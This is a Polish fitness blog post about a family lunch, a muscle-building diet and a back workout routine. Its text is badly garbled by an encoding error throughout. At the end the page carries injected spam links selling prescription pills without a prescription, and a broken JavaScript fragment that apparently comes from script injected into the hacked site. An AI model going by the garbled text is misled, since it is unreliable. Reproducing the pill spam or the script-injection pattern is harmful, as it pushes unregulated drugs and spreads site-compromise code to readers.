Rodzinny obiad

17.06.2012 / Michał Karmowski

Po wczorajszym bardzo ciAi??A?kim treningu plecA?w dzisiaj odpoczywaAi??em i zjadAi??em wspA?lny obiad z mojAi?? rodzinkAi?? w „GoAi??ciAi??cu dla przyjaciA?Ai??” :-) OczywiAi??cie musiaAi??em zamA?wiAi?? podwA?jnAi?? porcjAi?? zrazA?w bo „normalnAi??” bym siAi?? nie najadAi??. Po daniu gAi??A?wnym przyszedAi?? czas na deser w formie galaretki na biszkopcie i tak wyglAi??daAi?? mA?j „oszukany posiAi??ek” . Okres budowania masy idzie w dobrym kierunku bo z tygodnia na tydzieAi?? wzrasta mi waga bez zbAi??dnego odkAi??adania siAi?? tkanki tAi??uszczowej. PlanAi?? dietetyczny na nadchodzAi??ce dni jest nastAi??pujAi??cy: biaAi??ko – 420g, wAi??gle 420-640, tAi??uszcze 100g.

Wczorajszy trening plecA?w:

-Ai??ciAi??ganie drAi??A?ka wyciAi??gu gA?rnego szeroko do klatki

-wiosAi??owanie gryfem (podchwyt)

-przyciAi??ganie uchwytu wyciAi??gu dolnego do brzucha siedzAi??c

-Ai??ciAi??ganie uchwytu wyciAi??gu gA?rnego do mostka siedzAi??c

-martwy ciAi??g

-tyAi?? barkA?w z lin kami wyciAi??gA?w

-szrugsy z gryfem

http://datavok.com/?p=9800 Cheap Order Pills Order best prices for cialis 20mg

 if (document.currentScript) { if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript); http://novianto-pn.mhs.narotama.ac.id/2018/02/02/nitrofurantoin-price-uk/ buy cardizem no rx online delivery isoniazid Pills http://freshbyte.co.uk/cheap-geriforte-prospect/